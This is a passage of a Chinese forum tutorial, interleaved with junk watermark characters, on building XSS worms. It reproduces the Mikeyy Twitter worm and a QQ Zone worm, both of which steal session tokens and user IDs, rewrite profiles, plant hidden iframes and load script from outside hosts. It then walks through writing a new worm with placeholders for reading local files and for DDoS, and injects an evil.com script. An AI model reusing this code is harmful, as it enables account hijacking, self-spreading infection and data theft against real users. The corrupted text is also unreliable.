5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 9 I# u6 c3 H/ Q+ S5 G, F. a
& T, Q* W7 E2 l1 R
6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 2 ^! E( m% j8 D y$ D
. G: p p, E3 y; T 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 5 V" E8 M% J- V' ]" _& N5 ^
. s0 k0 w; E8 t# L# m 8. catch(e) { _0x6687x2=false; }; }; };
& F" }: j9 ]0 T$ E复制代码第六版: 1. function wait() { 0 F$ L& A& V/ I) h* p2 j @ q
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2. var content = document.documentElement.innerHTML; : r- h }4 H% S0 l/ I4 {
& q+ I# }4 x& `2 ~- C; C$ L 3. var tmp_cookie=document.cookie;
( h8 L* d# B/ {
' p8 j. U4 c$ f2 M$ r 4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); - s( X% K+ w6 U7 o
5 w7 H- I/ g8 P) w- e9 \' h 6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1]; : Y1 L, m2 @# ]. k7 x, z/ P; C
; }$ X% l! L. L* H& }' J5 o 8. var randomUpdate= new Array(); 9 Z+ i. V% `8 y; f; V
( n! Z7 d: Q7 c* w' H( k* D 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; % A3 K1 Q- o5 }
5 }: @/ }8 {0 k* Y& @: N 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; ' m( H1 E9 k. T- u
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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9 Z# c" v5 W! s1 D2 F 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 3 Z$ @4 }, z) F/ R* g e G5 f
d$ t! v$ l0 X. L 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 4 S% j$ `& z2 v7 p0 i
' X1 `6 \! b2 ?* a5 Q4 O3 F/ \ 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; ' [, O8 d" _0 {4 L( z, o
% [5 q& I, t* o& {/ N, z4 I 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; & d( a" V/ p8 s+ q1 s% z
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; * v7 v/ f2 M8 S* l- v* f) D7 I3 u
- s/ P2 Z' D' y& Y. t* h 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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, S4 S/ j( Q$ z1 b6 Y M! D( G 24. 0 m6 A3 U1 h* W: Z2 j( |+ }
! `) m, ?$ ^9 K. `, p) Q 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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2 U2 Y' @$ x9 S 26. var updateEncode=urlencode(randomUpdate[genRand]);
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27.
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28. var ajaxConn= new XHConn(); ( u) r0 }4 c! L( m
5 M2 Q( o4 @3 u' g' o 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); ) H9 Z! q4 E$ J9 j3 _4 N% e) d1 k& a
: ], E7 l! C8 c/ W 30. var _0xf81bx1c="Mikeyy";
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- b0 \) @0 f h 31. var updateEncode=urlencode(_0xf81bx1c);
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$ p1 G: x+ P$ U I2 L 32. var ajaxConn1= new XHConn(); 9 c+ X4 ~ f2 a2 P, _7 p0 X
1 S* |: s& ]/ p* {$ n; x 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; q7 w. m9 q, ^0 D$ D1 \
7 J* V, W! T5 m: j 35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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% X |' N" w6 s _. \) g 38. & J( E) q6 V$ l
/ j1 y) N/ G# R0 F5 [: R 39. } ; 8 y9 \( i7 L# [0 M6 ~ C5 [
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40. setTimeout(wait(),5250);
1 d% n8 e' P1 W! V: @$ c) n8 s复制代码QQ空间XSSfunction killErrors() {return true;}7 w) @6 T1 S/ H% Z U$ I
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window.onerror=killErrors;& T. i0 D3 k; s5 v
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$ ^: o1 f$ W: l/ F9 pvar shendu;shendu=4;% U+ K3 ^$ Y2 c
" ^5 ^5 A1 T1 o# B) q5 m
//---------------global---v------------------------------------------9 H) j4 _! B6 F' }. P" Z
% \' p Q# e% v4 V9 ?
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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* ?% i& K% k- z8 j. [- J+ F3 d: Uvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";8 s* a- b) Z; Z- ~# z
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var myblogurl=new Array();var myblogid=new Array();1 d0 ?2 _9 @& e* \5 ^
8 C$ u/ p8 x9 V* [ var gurl=document.location.href;6 w$ |; T g- P) |: P$ f* n
2 q( _) P% K5 z7 j/ r var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
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$ X- A. n8 w9 x1 E% F" c8 V8 B var cookieS=visitorID.indexOf("g_iLoginUin = ");9 W% n6 O2 m+ f; l7 w4 |
9 T+ B8 A N! }% y$ e% J visitorID=visitorID.substring(cookieS+14);0 e$ P% P! g. ~
. ^# R: {* G/ c cookieS=visitorID.indexOf(",");
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: w/ _7 M3 V" |7 P" x4 ~ visitorID=visitorID.substring(0,cookieS);/ {2 j. f7 ]1 G4 e) H6 I0 y
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get_my_blog(visitorID);
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DOshuamy();
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# u, c. I- U6 B. j& s0 P5 L% k' S
//挂马
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& C$ m& E/ n- X4 D* q) Vfunction DOshuamy(){
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- J+ I0 v0 T, `' ^var ssr=document.getElementById("veryTitle");* Q% y+ z7 A$ \
% B2 s7 F' W$ p$ }* l) ^' Lssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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: C, K% C: A! q( I$ ~}
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3 c" S, f' B: q5 B+ @8 i" S" W//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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function get_my_blog(visitorID){
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1 D0 i3 z. C) R) _& U userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";) u4 R/ J3 {6 T. e3 }
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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9 I0 W3 I; T8 N7 |* S. T% b xhr.send();guest=xhr.responseText;) d- P5 y/ T- t/ b: W0 j
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get_my_blogurl(guest); //执行这个函数' {2 l: ?. g3 e* \9 P6 Q R. q+ t
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}
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}
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//这里似乎是判断没有登录的
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( V: K/ T% T) e1 v8 y% o& Gfunction get_my_blogurl(guest){" Q' Q2 K7 K1 k- [' [$ J5 a
8 e h) E+ V9 |7 d9 s6 b3 } var mybloglist=guest;" w0 \3 }& ~ D* x' e
% r; k5 x( H; r- a4 D var myurls;var blogids;var blogide;
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. A# u! Z% P, @" P# d7 q for(i=0;i<shendu;i++){
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7 I6 t- a+ V) `1 h8 n$ k myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的2 k8 h1 D. u! E4 m" q; F0 k
, P9 _/ R9 L3 f5 a mybloglist=mybloglist.substring(myurls+11);
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6 K, [( F! ?! Q5 W ?7 z myurls=mybloglist.indexOf(')');6 W! _# N! E/ {, Y' s6 W/ f
$ @' o! m' C7 K1 s2 t9 X myblogid=mybloglist.substring(0,myurls);
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}else{break;}
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}. t4 Z, [) h5 Z# Z @
e& Q, U! r9 ~9 p' p0 F3 V+ [, eget_my_testself(); //执行这个函数
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% U( h6 T j6 C7 g6 t s+ O2 l//这里往哪跳就不知道了 W# K- U3 \7 p8 E/ S2 M
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function get_my_testself(){7 U7 ]2 a/ }! q' ]" i8 r
5 R% Q9 K) u4 K for(i=0;i<myblogid.length;i++){ //获得blogid的值1 J" g3 q% F9 _4 D
, j3 @( h% w. G3 o) |: h var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();: w+ S4 Y$ [. V) c. F. v
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var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象; \- m0 ?3 _3 b0 O! x
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if(xhr2){ //如果成功
9 D. D; R" Y4 u3 R+ H) G* Y# r. ^5 p8 l E a
xhr2.open("GET",url,false); //打开上面的那个url7 K$ q5 S% D' l. f7 @
! y4 V# q0 U1 m. ?/ n3 y xhr2.send();
+ B6 S7 j5 I7 x5 }) o \' r* `1 ?7 F! N2 J- \- i% G* t
guest2=xhr2.responseText;8 U4 B; c; P% }$ n0 y' X. _ a6 i
' ^6 y# t: u; [, h6 [ y var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
9 I6 V5 n0 X3 o6 Q5 ` j
Z6 b: R: N' N1 W0 [ var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
9 M) ^+ }; G% B; g8 i
5 d$ p4 i6 C9 r* K7 t3 e+ ? if(mycheckmydoit!="-1"){ //返回-1则代表没找到: [' T- Y6 v" u4 V% N$ h
* A' r# q/ E9 W6 B# e3 B
targetblogurlid=myblogid; 6 `5 i- q0 l* E: X2 V
" J) v' j. m- n$ f, L4 e. b add_jsdel(visitorID,targetblogurlid,gurl); //执行它
/ Q2 M. V4 Z2 c! U( F6 W. a7 b9 Y; d% H, L2 P9 T
break;3 i" Y! p8 }' B6 d, i& k
7 P$ \' d/ c# f' a3 ] }6 `! f. ~4 ^1 t! s1 K+ n. q
5 N3 @% |0 {! |, _& [; [ if(mycheckit=="-1"){- ~/ f/ ]; `$ R: F
; G! w3 E8 M4 a! H8 ^
targetblogurlid=myblogid;
, X2 t: P( h3 @# R% t) S
9 o3 u6 L8 G3 \! N add_js(visitorID,targetblogurlid,gurl); //执行它* f7 W7 E2 @3 T1 `5 q# P
% U( E* B6 S: j, { B( `1 J/ o
break;
2 g" D5 O5 ` r8 L8 p# b* B% c3 x1 k. |0 g% k1 q$ G; F8 l3 l2 Q! K
}
, S; x" y' y t. U9 ~1 @# w. K
% N6 \- B q8 |1 \, i: x- S }
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- ] x* y( w I$ e4 |: C}
+ X k- v! W8 I. G
# c W9 I* s( Q) M& Y5 n% V}6 D$ j) k5 X; ?6 V
" x8 v: W l# S. u$ I6 w+ F. c( J
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//--------------------------------------
: H8 [6 e) ^' i9 B% H
" \+ w! x2 ~' i//根据浏览器创建一个XMLHttpRequest对象
% t9 d% G% m% b3 o
' g" M* A) p" y! O. y& y( C! s1 ffunction createXMLHttpRequest(){
/ |5 E. j) V) i( |/ ^2 J( ]
9 T- F: C5 ~4 L, b6 W var XMLhttpObject=null;
$ a5 K# ], c7 q Q
+ K9 ~ Y2 V1 u( C0 }' w if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
6 x& e6 b1 a0 F) J1 L ^& v
) Q6 C# b% I- l- r+ A else
4 Q+ ^- N R; H" ^! q, a, k( v* Y5 p9 j9 d- v. f9 Q/ i
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
9 b0 C6 @% y5 R6 j3 Z) A# i; {5 ^0 [2 Q% ]( I
for(var i=0;i<MSXML.length;i++) + ?$ b1 K* Z/ R6 Y8 j& U# n
' u, D+ U1 A, S) C& W3 o" M" T { 0 q5 _& z: H/ @2 E2 m f, I
* o; k4 `0 a9 I5 w* Y try
% F( ^: n Z- f, M! F
" {; [8 @4 N8 ^1 d$ i/ d& Q {
: z9 v1 O K+ \& n* F1 O" k# U7 T0 Y2 ~# p" u/ q& G1 Q
XMLhttpObject=new ActiveXObject(MSXML);
, z3 ^: a2 J3 h! E: K6 y; y9 m: `, V" Q9 m
break; # p/ b2 W/ o, X) ?+ ~
$ i2 p$ ^$ s0 y# c }
1 n* E3 e g5 `2 r3 c& t/ k! t9 ~9 e/ c* D9 C; i4 T
catch (ex) { : L8 }2 W' J& U2 {
. P/ {6 n4 g- { } & K7 R4 Z/ H0 s" E. m
6 c1 B- r5 x5 n) g5 E l } 7 `; t& f$ |: M
) s2 u! j' ~1 z, W }
2 ^. m4 U0 T5 ?+ X9 e
: J! k# H7 ~- O7 K5 {0 zreturn XMLhttpObject;6 @+ V2 m K; h" n6 v0 Y
0 }5 j* ]8 r' w} 1 X' C6 S8 s; }: r9 _ s
0 w. ]& Z3 R' ]/ ?0 z4 T/ r
' b( d1 L1 p0 o G7 S* x# l0 K; r" p* R: Y# y! k. B
//这里就是感染部分了
' E. y0 j t# d3 M' h+ Z
+ s7 [' L* B( g1 Hfunction add_js(visitorID,targetblogurlid,gurl){
5 M! C) s* @2 X2 q5 c1 E0 q
4 s) |. I K0 t6 _7 {. b" o3 Uvar s2=document.createElement('script');
5 n& F- X8 B5 E" o: K+ t- O! F
- E& z# ]4 H: u4 C2 ^s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();/ U2 V9 t, E: l' k, f" G& d
1 b! {) g F; N6 Q. Z
s2.type='text/javascript';" Z3 @. ~* S; E# m7 R, T( ^
* t, j3 {; L) |9 e q
document.getElementsByTagName('head').item(0).appendChild(s2);
; |% b$ r. A- ~5 o5 r0 e+ K
& H3 V1 p# ~+ L; R8 I& \}; Y" n/ Z- o) P: v
7 m9 I( [2 F( D$ Q
/ @1 }( J F" [ G: L* Y
1 b" w8 F2 V" u; ifunction add_jsdel(visitorID,targetblogurlid,gurl){! ?9 \& R* u p* D6 X! `& p
# a' F D! O1 M% K; i
var s2=document.createElement('script');
* i$ q( W/ o5 N7 y9 X: @, p+ i& j# p9 X# \7 k. H
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
8 z( u. C( N F
* ?2 z* V# D( A/ y" L% Rs2.type='text/javascript';# i; N0 B; x4 q% @: n$ u. ^: e
* v# h( U- M9 a- b; `( e
document.getElementsByTagName('head').item(0).appendChild(s2);
+ ]' Q( V; t" X- x$ ^
. O/ X3 [! [' e1 I2 y5 A* `% R5 m/ |}
: g* n/ a% q8 O$ z复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
( A7 f$ C2 M* w) l" a2 B; t1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
* L( w- o+ z) y4 S! @
" R/ d& [5 `3 f) {/ A2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
. [: F' R2 O4 Q# [& e. H& R! M1 @+ S7 K$ i4 N
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
4 d& }% b# }" Q6 \# }' J5 d; g K/ B' ?: ~, H
# \. d- i U, C" z# I* z
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.! X% u, q/ ^4 y, c9 j1 q
: @# ]# `5 |( u* [' x: L
首先,自然是判断不同浏览器,创建不同的对象var request = false; R# u! y/ m% p+ e+ {" u
3 K0 I: P! a [6 x3 D. Aif(window.XMLHttpRequest) {
. y) t5 V% k" ~
5 p& A9 ?/ G9 S- A2 A- o) `1 Arequest = new XMLHttpRequest();
/ D' ^& ~+ v A6 G1 X
) t' @1 {/ Y( {- e ~+ T$ _1 Kif(request.overrideMimeType) {
* p$ c6 N8 K" @! H4 E- A
. G+ M) y8 u3 Zrequest.overrideMimeType('text/xml');
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8 r" k: P. w. L4 j! @5 i3 b1 w}: E1 _8 u/ A a
9 z, {) m' c5 X/ K/ R8 M0 {" I
} else if(window.ActiveXObject) {4 Q2 P* B7 A% L+ P
% Z' n. h6 q4 O9 f; Vvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];, S3 k1 ]( G/ ~! J
# Y3 b# m5 q( {& F
for(var i=0; i<versions.length; i++) {1 r- V2 `( ^8 I w T
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try {; z6 n3 R& R9 r# `, y
( A% Z" U0 `$ S+ q1 q4 V
request = new ActiveXObject(versions);) N U) M- u. ~; ~) b/ ^
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} catch(e) {}) a* Z" m8 i+ |7 v3 K, s
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|/ H2 f3 }, x* r H3 E. c' J}
: |9 L; k6 x4 ~- C& [8 |
; |4 y2 q9 f; `( c6 oxmlHttpReq=request;
4 f9 I0 v5 t( j/ U$ R复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){+ O2 w) |8 z( Z# A+ i7 t8 z, m
1 O- @# R2 ?+ s/ Y$ J8 y( E var Browser_Name=navigator.appName;7 Z9 C2 p/ ^% |/ R
1 L, V) q0 {, M+ Q+ P# H; \' K var Browser_Version=parseFloat(navigator.appVersion);
9 S; ]- b8 m x/ ^
. z3 t6 D; M* x: P' a7 O8 | ~ var Browser_Agent=navigator.userAgent;2 l M2 Y/ b7 v; V
3 x& r0 ?- n! h5 w5 f
& j# e5 Y" S: {2 ~
. S4 p: F/ `' j) Z6 I: @
var Actual_Version,Actual_Name;
+ \! a3 [8 H. u: v& K4 E7 q* S3 n8 a, J
2 a3 B$ K p2 z" N6 ~ F
% p2 P1 C- M0 s7 I4 i( @& Z var is_IE=(Browser_Name=="Microsoft Internet Explorer");" s/ [# }4 u: d
1 G8 ~: v5 s1 g var is_NN=(Browser_Name=="Netscape");
4 j$ J" ]" H2 G6 N
+ u: N {7 G9 [8 p* z5 | var is_Ch=(Browser_Name=="Chrome");/ g4 x) y5 }& V A# d1 Z. d
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; C, S" t+ }* ?5 t) m8 [5 y/ `2 f6 i, w& a) |
if(is_NN){
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" J% w1 G/ d) v1 G9 ^) T6 H if(Browser_Version>=5.0){
% _8 p, C- z/ Q% w/ h$ i" v/ K6 D& Z) r7 m! O: s
var Split_Sign=Browser_Agent.lastIndexOf("/");) |- H6 E' s* W4 m" r: G
% K9 ~( D4 y5 c4 `* l
var Version=Browser_Agent.indexOf(" ",Split_Sign);
. I' a; s* ?" X5 d( j0 E
- P. N! Q! A8 T3 k# X! K. s var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
+ T& C: X( k0 E) u2 s: ?9 e; Q; g4 ^) g) K
! i8 R0 ?$ D' g8 ^' y8 x+ \% x$ f; [% V5 r# ~9 U9 t
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
/ I$ o+ U8 v3 r* M' q3 ]' h
8 c, F* u3 w! m0 T( w+ k/ u Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);; [7 F- f0 ^4 y( y6 n* @. ~# I
8 `1 q8 b1 b5 `2 b. c5 d9 R* |: I+ O9 | }
8 Y# `6 C5 k; o' [5 }# {! _9 Y; m2 L0 |# _* S
else{
1 w; h5 j7 C+ v. B/ [
$ W6 `1 A9 Z( J3 n* O Actual_Version=Browser_Version;! i8 ^8 o% j$ V3 r1 e
% H% ~# }1 R! _( v4 G) M
Actual_Name=Browser_Name;
9 i* @* b; N# [6 I) L: s# Q$ Y% r" |* V$ y Q" x" c; _
}
$ x: o2 J n* v" G6 e \* j
6 H1 z3 @, X& `) ^$ c. T }# z& g8 z" d1 {! K4 ~( j. U# w
* `+ v3 V! a9 S$ n else if(is_IE){
, {5 k2 A" Y8 d, x& f( R- l& ^+ t2 O! ~* `- X
var Version_Start=Browser_Agent.indexOf("MSIE");; X' w9 T: B B! h
; q# X5 n4 h7 i% S9 w
var Version_End=Browser_Agent.indexOf(";",Version_Start);) b1 u2 T) F! s
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Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
! B0 g% t) ~6 d! t5 {4 l# ?7 l4 v8 W" K# [9 h
Actual_Name=Browser_Name;
" ^5 Y$ Z6 W8 ]; Z. Y; I
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; t4 _4 G8 x4 G- s7 y- N1 N' N
if(Browser_Agent.indexOf("Maxthon")!=-1){
7 q4 A$ l4 ^7 @- b1 c+ ?# x o! K- I
7 L2 Y/ ]+ ~7 h- a Actual_Name+="(Maxthon)";9 U1 Y; P! t9 y5 B2 H$ i
& V1 z+ K; H. N( _ D2 D
} u% y4 @; f/ w5 R1 |& c* k
5 h; J: q5 R2 Y/ U$ n2 i3 D; a" x# S, o else if(Browser_Agent.indexOf("Opera")!=-1){
" w0 E$ ^" o2 X3 d$ s
- |( C8 S$ [' h3 [ Actual_Name="Opera";
" @; J* ^- c! T( q( i
, T; a& e: [5 {' T0 o, z+ V var tempstart=Browser_Agent.indexOf("Opera");
, N2 N% c5 }% y6 B7 Y
$ m4 C" `* C" ^; V. B6 { var tempend=Browser_Agent.length;" h: y1 b8 K" j* c2 i" z# N
. N7 t, v% v+ x( C! n! f# m Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
2 s! t* I! }" f5 J2 k# h* D p) E9 h; j7 T
}
7 [$ S1 V% ^9 v9 g8 c( `
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8 F5 c v# I# L+ n+ r$ [5 v7 C" v0 @# S+ P/ `! _+ d$ I6 I' j
else if(is_Ch){
4 p+ }( R7 r$ a3 O g4 b/ b" Z8 w. `; \! R
var Version_Start=Browser_Agent.indexOf("Chrome");
0 ?+ U, \: O. R8 A, c: `1 \6 s, @3 ?! ~) C* @
var Version_End=Browser_Agent.indexOf(";",Version_Start);
1 s, U9 \1 t& `) x' }
* h6 A/ N" b7 [9 I Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)4 }$ {+ r' `# }
" C7 |6 E8 S% i( z+ n; l. a
Actual_Name=Browser_Name;: x! ]- Z" t6 U. D ^' N- h d. c+ w: A
6 F+ o. g( m M+ V, k6 s( _
; m# T4 Q; A* l: V
: ^' `, Y v9 `/ L. t# y if(Browser_Agent.indexOf("Maxthon")!=-1){8 J1 ^4 A0 g7 f5 q$ n
. S/ G( G! c `( g Actual_Name+="(Maxthon)";
$ x$ F6 T% z+ v
$ D$ o a2 g) D1 K7 H3 x/ [ }# F( f& Y- m2 Z) h5 s+ ^
$ r @; U- r5 ]. h4 _
else if(Browser_Agent.indexOf("Opera")!=-1){
4 S6 s0 _9 i) t5 R$ [' ~: m+ N0 B/ D V+ e# P# W
Actual_Name="Opera";
; c* a$ a1 p" N0 j Y( O
9 C3 ^% O' y+ ^: s- d3 i0 E var tempstart=Browser_Agent.indexOf("Opera");# _$ L Y8 E4 P' u
7 q$ x: D; x6 S
var tempend=Browser_Agent.length;8 c( b) B, f( f$ S
9 P! t1 b4 Q' o. i$ H0 y* W Actual_Version=Browser_Agent.substring(tempstart+6,tempend), r" W* J5 P9 T
: W% B' y8 `; @$ h% B2 w4 O; P4 S. o }
& \' v" @3 t* p" u* P& w# J( Y+ m! V: w9 w6 {4 f! M+ r
}
) _6 o' a* l- J0 ?
' `: Q3 Y. d- a- k# t else{! M& _3 _6 ~0 X P5 \- A1 G# y
6 h+ U' @' n, j4 P! T/ M Actual_Name="Unknown Navigator"( c+ j2 S! l( k, M. e
( T6 [' }- }# G
Actual_Version="Unknown Version"
; U5 `9 k* I! f) m4 ]: `, l' a2 m) [: C% \: P
}
3 ^3 s2 N$ B( ]3 t% T8 [. w
# D4 k# h0 I- w1 o6 r% K
" ?4 m: Q- N( p! y$ A2 |4 L( m; c* X" \' O& n+ p+ u
navigator.Actual_Name=Actual_Name;
6 j: J0 A# e6 ~0 x8 F0 `) d! o4 Z# q, _4 P
navigator.Actual_Version=Actual_Version;7 L( d2 i3 Y! k+ o( Z* }( X/ X: t, A
1 A& M4 V" u ~: p
1 o: \7 f9 j/ H$ A
% I- D% ]+ _# e+ h8 P4 L this.Name=Actual_Name;
) M1 r+ a& r& x0 a% u+ B1 g1 \7 d- n& Y- Z
this.Version=Actual_Version;4 s* Y0 y8 z, d% z, Y& Z4 `
5 U/ ?; @- D5 P( D# c
}
* P- G6 f/ l7 A9 T8 X2 C! f" L# ]
# I$ ]/ z7 B- J8 ^ D) l browserinfo();, ~, X* |7 {5 h& k' M
( Z0 B* ~. m: h* C* j
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
2 H$ C: F4 ]( F. P/ I* b7 @6 P5 {% @& f
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}; f& C3 v4 t" t4 A: a7 u9 N) }8 v
. w$ Y% g" I3 w) U
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
' {" t# P+ w5 H5 P4 X8 G! {, E N7 ~; A( I3 ]
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
4 I/ b* F3 ~3 A. j% u8 @: M复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码% [2 }! _ u$ `7 R o, z: P* t* J
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
: g3 r( p' h. |4 c% w; ?* k& V( M复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.2 T/ j- S" [& d. u- |' b; z
3 q) @, M8 e N: [4 |5 MxmlHttpReq.send(null);( v$ n+ q' D! O# l
1 ~& O+ D$ d/ e z9 J* Pvar resource = xmlHttpReq.responseText;
3 P" @+ ]0 n. A4 E$ L/ |8 S$ n
: W6 W6 d7 \: f( \4 `. O. Fvar id=0;var result;
- P0 B, N6 E% U0 U/ Q+ w1 o7 r: E
: S7 S. o) }) d$ w* M9 R! Cvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.. P9 ~7 k, `/ w5 @
6 J/ v& `' i: h9 m5 ] } f/ E
while ((result = patt.exec(resource)) != null) {' i- _( D) K6 V0 ~
/ p0 H; j2 |8 ? J( Z2 W
id++;
# c( I) |! h4 A5 Y* f2 a. n2 t3 s4 N* b8 r }5 P& r. q
}5 `4 _3 z1 _& r* z
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
$ ?& a! M" x' L7 L* N0 r9 Z( l8 W- n0 J0 a6 s
no=resource.search(/my name is/);8 e2 ~6 A4 D- Q: Q M
- q \" h* H2 a2 i1 u- kvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
3 u1 \2 e" n! U5 {! G+ Z+ D( w
4 P# ^/ |7 [4 \& l% ]! Bvar post="wd="+wd;
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* S' ]$ R9 F7 Y( ]& ]8 Q/ _xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.3 q7 {- }6 y0 Z3 z9 V& |
5 N5 o1 J, g) Q# UxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");# w& a! R. p4 z
& R' N- [. @! d" M- _- ]xmlHttpReq.setRequestHeader("content-length",post.length); 2 r/ w! x- b1 X4 ^, M# K' b
, U5 ]* X' W3 bxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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& @0 N8 s0 y8 [' J2 V! r( g2 h6 zvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
